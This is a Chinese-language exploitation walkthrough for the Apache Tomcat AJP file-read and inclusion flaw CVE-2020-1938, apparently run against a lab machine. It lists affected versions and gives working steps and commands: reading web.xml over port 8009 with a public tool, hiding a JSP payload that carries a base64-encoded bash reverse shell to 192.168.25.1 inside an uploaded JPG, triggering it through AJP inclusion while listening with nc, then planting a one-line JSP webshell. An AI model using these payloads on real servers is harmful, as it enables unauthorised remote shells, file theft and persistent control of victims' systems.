一、影响范围(有一些不在影响的范围的版本也会存在)
受影响版本
- Apache Tomcat 6
- Apache Tomcat 7 < 7.0.100
- Apache Tomcat 8 < 8.5.51
- Apache Tomcat 9 < 9.0.31
不受影响版本
- Apache Tomcat = 7.0.100
- Apache Tomcat = 8.5.51
- Apache Tomcat = 9.0.31
二、漏洞利用
靶机:kali2020 tomcat 8.5.32
攻击机:kali2020
1、
假设在靶机上,tomcat搭建的网站存在文件上传,但是只可以上传图片的情况下。如何利用此漏洞getshell
2、探测端口存在8009,或者有一些网站会更改AJP的端口如(8099 8001 8011)反正都试一下吧,本人就遇到过改为8099和8001的
(说个题外话:有一些网站可能会存在两个tomcat的版本,所以ajp也会两个端口,在验证漏洞的时候找好AJP对应的网站。)
3、使用大佬写的工具进行文件读取和文件包含(工具文件读取和包含都存在)
工具地址:https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read
验证漏洞存在先进行文件读取(读取不到web.xml的情况下可以尝试读取一些已知的文件,可能会没有web.xml
执行语句:python Tomcat_file.py -p 8009 -f /WEB-INF/web.xml 目标Ip
4、上传带有反弹shell语句的图片马
反弹shell语句:
bash -i >& /dev/tcp/192.168.25.1/63000 0>&1
在http://www.jackson-t.ca/runtime-exec-payloads.html网站进行一下转换
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjEvNjMwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>
下载一个图片,使用copy合成图片马
copy 1.jpg/b + 2.jsp/a 3.jpg
上传3.jpg
5、包含3.jpg,并成功反弹shell(必须要已知路径,当前路径即可,所包含的文件必须在ROOT目录下)
记得要nc监听反弹的端口哦 nc -lvvp 63000
python Tomcat_file_includ.py -p 8009 -f upload/3.jpg 192.168.25.134
5、写入一句话木马
echo 'jsp一句话' > a.jsp //在a.txt这个文件中输入i love u,如果没有这个文件则创建。如果有这个文件,那么新内容代替原来的内容。
6、菜刀连接即可。